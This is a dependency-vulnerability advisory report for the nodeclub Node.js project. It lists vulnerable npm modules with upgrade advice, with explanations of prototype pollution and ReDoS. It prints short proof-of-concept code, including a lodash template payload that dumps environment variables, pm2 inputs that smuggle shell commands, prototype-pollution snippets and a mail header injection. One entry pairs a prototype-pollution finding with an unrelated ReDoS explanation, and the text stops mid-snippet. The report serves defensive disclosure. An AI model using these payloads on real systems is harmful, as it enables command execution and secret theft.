Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › lodash@4.16.2Remediation: Upgrade to lodash@4.17.21.
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Command Injection via template
.
PoC
var _ = require('lodash');
_.template('', { variable: '){console.log(process.env)}; with(obj' })()
Remediation
Upgrade lodash
to version 4.17.21 or higher.
References
high severity
- Vulnerable module: vizion
- Introduced through: pm2@1.1.1
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › pm2@1.1.1 › vizion@0.2.13Remediation: Upgrade to pm2@4.3.0.
Overview
vizion is a Git/Subversion/Mercurial repository metadata parser.
Affected versions of this package are vulnerable to Command Injection. The argument revision
can be controlled by users without any sanitization.
Remediation
Upgrade vizion
to version 2.1.0 or higher.
References
high severity
- Vulnerable module: shelljs
- Introduced through: pm2@1.1.1
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › pm2@1.1.1 › shelljs@0.6.0Remediation: Upgrade to pm2@3.0.0.
Overview
shelljs is a wrapper for the Unix shell commands for Node.js.
Affected versions of this package are vulnerable to Improper Privilege Management. When ShellJS
is used to create shell scripts which may be running as root
, users with low-level privileges on the system can leak sensitive information such as passwords (depending on implementation) from the standard output of the privileged process OR shutdown privileged ShellJS
processes via the exec
function when triggering EACCESS errors.
Note: Thi only impacts the synchronous version of shell.exec()
.
Remediation
Upgrade shelljs
to version 0.8.5 or higher.
References
high severity
- Vulnerable module: mongoose
- Introduced through: mongoose@4.4.9
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › mongoose@4.4.9Remediation: Upgrade to mongoose@5.13.15.
Overview
mongoose is a Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.
Affected versions of this package are vulnerable to Prototype Pollution in the Schema.path()
function.
Note: CVE-2022-24304 is a duplicate of CVE-2022-2564.
PoC:
const mongoose = require('mongoose');
const schema = new mongoose.Schema();
malicious_payload = '__proto__.toString'
schema.path(malicious_payload, [String])
x = {}
console.log(x.toString())
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade mongoose
to version 5.13.15, 6.4.6 or higher.
References
medium severity
- Vulnerable module: request
- Introduced through: jpush-sdk@3.3.2, loader-builder@2.4.1 and others
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › jpush-sdk@3.3.2 › request@2.79.0
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › less@2.7.3 › request@2.81.0
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › request@2.74.0
Overview
request is a simplified http request client.
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to insufficient checks in the lib/redirect.js
file by allowing insecure redirects in the default configuration, via an attacker-controller server that does a cross-protocol redirect (HTTP to HTTPS, or HTTPS to HTTP).
NOTE: request
package has been deprecated, so a fix is not expected. See https://github.com/request/request/issues/3142.
Remediation
A fix was pushed into the master
branch but not yet published.
References
medium severity
- Vulnerable module: tough-cookie
- Introduced through: request@2.74.0, jpush-sdk@3.3.2 and others
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › request@2.74.0 › tough-cookie@2.3.4
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › jpush-sdk@3.3.2 › request@2.79.0 › tough-cookie@2.3.4
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › less@2.7.3 › request@2.81.0 › tough-cookie@2.3.4
Overview
tough-cookie is a RFC6265 Cookies and CookieJar module for Node.js.
Affected versions of this package are vulnerable to Prototype Pollution due to improper handling of Cookies when using CookieJar in rejectPublicSuffixes=false
mode. Due to an issue with the manner in which the objects are initialized, an attacker can expose or modify a limited amount of property information on those objects. There is no impact to availability.
PoC
// PoC.js
async function main(){
var tough = require("tough-cookie");
var cookiejar = new tough.CookieJar(undefined,{rejectPublicSuffixes:false});
// Exploit cookie
await cookiejar.setCookie(
"Slonser=polluted; Domain=__proto__; Path=/notauth",
"https://__proto__/admin"
);
// normal cookie
var cookie = await cookiejar.setCookie(
"Auth=Lol; Domain=google.com; Path=/notauth",
"https://google.com/"
);
//Exploit cookie
var a = {};
console.log(a["/notauth"]["Slonser"])
}
main();
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade tough-cookie
to version 4.1.3 or higher.
References
medium severity
- Vulnerable module: json5
- Introduced through: loader-builder@2.4.1
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-core@6.26.3 › json5@0.5.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › json5@0.5.1
Overview
Affected versions of this package are vulnerable to Prototype Pollution via the parse
method , which does not restrict parsing of keys named __proto__
, allowing specially crafted strings to pollute the prototype of the resulting object. This pollutes the prototype of the object returned by JSON5.parse
and not the global Object prototype (which is the commonly understood definition of Prototype Pollution). Therefore, the actual impact will depend on how applications utilize the returned object and how they filter unwanted keys.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade json5
to version 1.0.2, 2.2.2 or higher.
References
medium severity
- Vulnerable module: pm2
- Introduced through: pm2@1.1.1
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › pm2@1.1.1Remediation: Upgrade to pm2@4.3.0.
Overview
pm2 is a production process manager for Node.js applications with a built-in load balancer.
Affected versions of this package are vulnerable to Command Injection. It is possible to inject arbitrary commands as part of user input in the Modularizer.install()
method within lib/API/Modules/Modularizer.js
as an unsanitized module_name
variable. This input is eventually provided to the spawn()
function and gets executed as a part of spawned npm install MODULE_NAME ----loglevel=error --prefix INSTALL_PATH
command.
PoC by bl4de
// pm2_exploit.js
'use strict'
const pm2 = require('pm2')
// payload - user controllable input
const payload = "test;pwd;whoami;uname -a;ls -l ~/playground/Node;"
pm2.connect(function (err) {
if (err) {
console.error(err)
process.exit(2)
}
pm2.start({
script: 'app.js' // fake app.js to supress "No script path - aborting" error thrown from PM2
}, (err, apps) => {
pm2.install(payload, {}) // injection
pm2.disconnect()
if (err) {
throw err
}
})
})
Remediation
Upgrade pm2
to version 4.3.0 or higher.
References
medium severity
- Vulnerable module: pm2
- Introduced through: pm2@1.1.1
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › pm2@1.1.1Remediation: Upgrade to pm2@4.3.0.
Overview
pm2 is a production process manager for Node.js applications with a built-in load balancer.
Affected versions of this package are vulnerable to Command Injection. It is possible to execute arbitrary commands within the pm2.import()
function when tar.gz
archive is installed with a name provided as user controlled input.
PoC by bl4de
// pm2_exploit.js
'use strict'
const pm2 = require('pm2')
// payload - user controllable input
const payload = "foo.tar.gz;touch here;echo whoami>here;chmod +x here;./here>whoamreallyare"
pm2.connect(function(err) {
if (err) {
console.error(err)
process.exit(2)
}
pm2.start({
}, (err, apps) => {
pm2.install(payload, {}) // injection
pm2.disconnect()
if (err) {
throw err
}
})
})
Remediation
Upgrade pm2
to version 4.3.0 or higher.
References
medium severity
- Vulnerable module: hoek
- Introduced through: request@2.74.0, jpush-sdk@3.3.2 and others
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › request@2.74.0 › hawk@3.1.3 › hoek@2.16.3Remediation: Upgrade to request@2.82.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › request@2.74.0 › hawk@3.1.3 › boom@2.10.1 › hoek@2.16.3Remediation: Upgrade to request@2.82.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › request@2.74.0 › hawk@3.1.3 › sntp@1.0.9 › hoek@2.16.3Remediation: Upgrade to request@2.82.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › jpush-sdk@3.3.2 › request@2.79.0 › hawk@3.1.3 › hoek@2.16.3Remediation: Open PR to patch hoek@2.16.3.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › request@2.74.0 › hawk@3.1.3 › cryptiles@2.0.5 › boom@2.10.1 › hoek@2.16.3Remediation: Upgrade to request@2.82.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › jpush-sdk@3.3.2 › request@2.79.0 › hawk@3.1.3 › boom@2.10.1 › hoek@2.16.3Remediation: Open PR to patch hoek@2.16.3.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › jpush-sdk@3.3.2 › request@2.79.0 › hawk@3.1.3 › sntp@1.0.9 › hoek@2.16.3Remediation: Open PR to patch hoek@2.16.3.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › less@2.7.3 › request@2.81.0 › hawk@3.1.3 › hoek@2.16.3Remediation: Upgrade to loader-builder@2.7.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › jpush-sdk@3.3.2 › request@2.79.0 › hawk@3.1.3 › cryptiles@2.0.5 › boom@2.10.1 › hoek@2.16.3Remediation: Open PR to patch hoek@2.16.3.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › less@2.7.3 › request@2.81.0 › hawk@3.1.3 › boom@2.10.1 › hoek@2.16.3Remediation: Upgrade to loader-builder@2.7.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › less@2.7.3 › request@2.81.0 › hawk@3.1.3 › sntp@1.0.9 › hoek@2.16.3Remediation: Upgrade to loader-builder@2.7.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › less@2.7.3 › request@2.81.0 › hawk@3.1.3 › cryptiles@2.0.5 › boom@2.10.1 › hoek@2.16.3Remediation: Upgrade to loader-builder@2.7.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › request@2.74.0 › hawk@3.1.3 › hoek@2.16.3Remediation: Upgrade to request@2.82.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › request@2.74.0 › hawk@3.1.3 › boom@2.10.1 › hoek@2.16.3Remediation: Upgrade to request@2.82.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › request@2.74.0 › hawk@3.1.3 › sntp@1.0.9 › hoek@2.16.3Remediation: Upgrade to request@2.82.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › jpush-sdk@3.3.2 › request@2.79.0 › hawk@3.1.3 › hoek@2.16.3Remediation: Open PR to patch hoek@2.16.3.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › request@2.74.0 › hawk@3.1.3 › cryptiles@2.0.5 › boom@2.10.1 › hoek@2.16.3Remediation: Upgrade to request@2.82.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › jpush-sdk@3.3.2 › request@2.79.0 › hawk@3.1.3 › boom@2.10.1 › hoek@2.16.3Remediation: Open PR to patch hoek@2.16.3.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › jpush-sdk@3.3.2 › request@2.79.0 › hawk@3.1.3 › sntp@1.0.9 › hoek@2.16.3Remediation: Open PR to patch hoek@2.16.3.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › less@2.7.3 › request@2.81.0 › hawk@3.1.3 › hoek@2.16.3Remediation: Upgrade to loader-builder@2.7.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › jpush-sdk@3.3.2 › request@2.79.0 › hawk@3.1.3 › cryptiles@2.0.5 › boom@2.10.1 › hoek@2.16.3Remediation: Open PR to patch hoek@2.16.3.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › less@2.7.3 › request@2.81.0 › hawk@3.1.3 › boom@2.10.1 › hoek@2.16.3Remediation: Upgrade to loader-builder@2.7.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › less@2.7.3 › request@2.81.0 › hawk@3.1.3 › sntp@1.0.9 › hoek@2.16.3Remediation: Upgrade to loader-builder@2.7.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › less@2.7.3 › request@2.81.0 › hawk@3.1.3 › cryptiles@2.0.5 › boom@2.10.1 › hoek@2.16.3Remediation: Upgrade to loader-builder@2.7.0.
Overview
hoek is an Utility methods for the hapi ecosystem.
Affected versions of this package are vulnerable to Prototype Pollution. The utilities function allow modification of the Object
prototype. If an attacker can control part of the structure passed to this function, they could add or modify an existing property.
PoC by Olivier Arteau (HoLyVieR)
var Hoek = require('hoek');
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';
var a = {};
console.log("Before : " + a.oops);
Hoek.merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade hoek
to version 4.2.1, 5.0.3 or higher.
References
medium severity
- Vulnerable module: lodash
- Introduced through: ioredis@1.15.1 and lodash@4.16.2
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › ioredis@1.15.1 › lodash@3.10.1Remediation: Upgrade to ioredis@2.0.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › lodash@4.16.2Remediation: Upgrade to lodash@4.17.5.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › ioredis@1.15.1 › lodash@3.10.1Remediation: Upgrade to ioredis@2.0.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › lodash@4.16.2Remediation: Upgrade to lodash@4.17.5.
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Prototype Pollution. The utilities function allow modification of the Object
prototype. If an attacker can control part of the structure passed to this function, they could add or modify an existing property.
PoC by Olivier Arteau (HoLyVieR)
var _= require('lodash');
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';
var a = {};
console.log("Before : " + a.oops);
_.merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade lodash
to version 4.17.5 or higher.
References
medium severity
- Vulnerable module: nodemailer
- Introduced through: nodemailer@2.3.0
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › nodemailer@2.3.0Remediation: Upgrade to nodemailer@6.6.1.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to HTTP Header Injection if unsanitized user input that may contain newlines and carriage returns is passed into an address object.
PoC:
const userEmail = 'foo@bar.comrnSubject: foobar'; // imagine this comes from e.g. HTTP request params or is otherwise user-controllable
await transporter.sendMail({
from: '...',
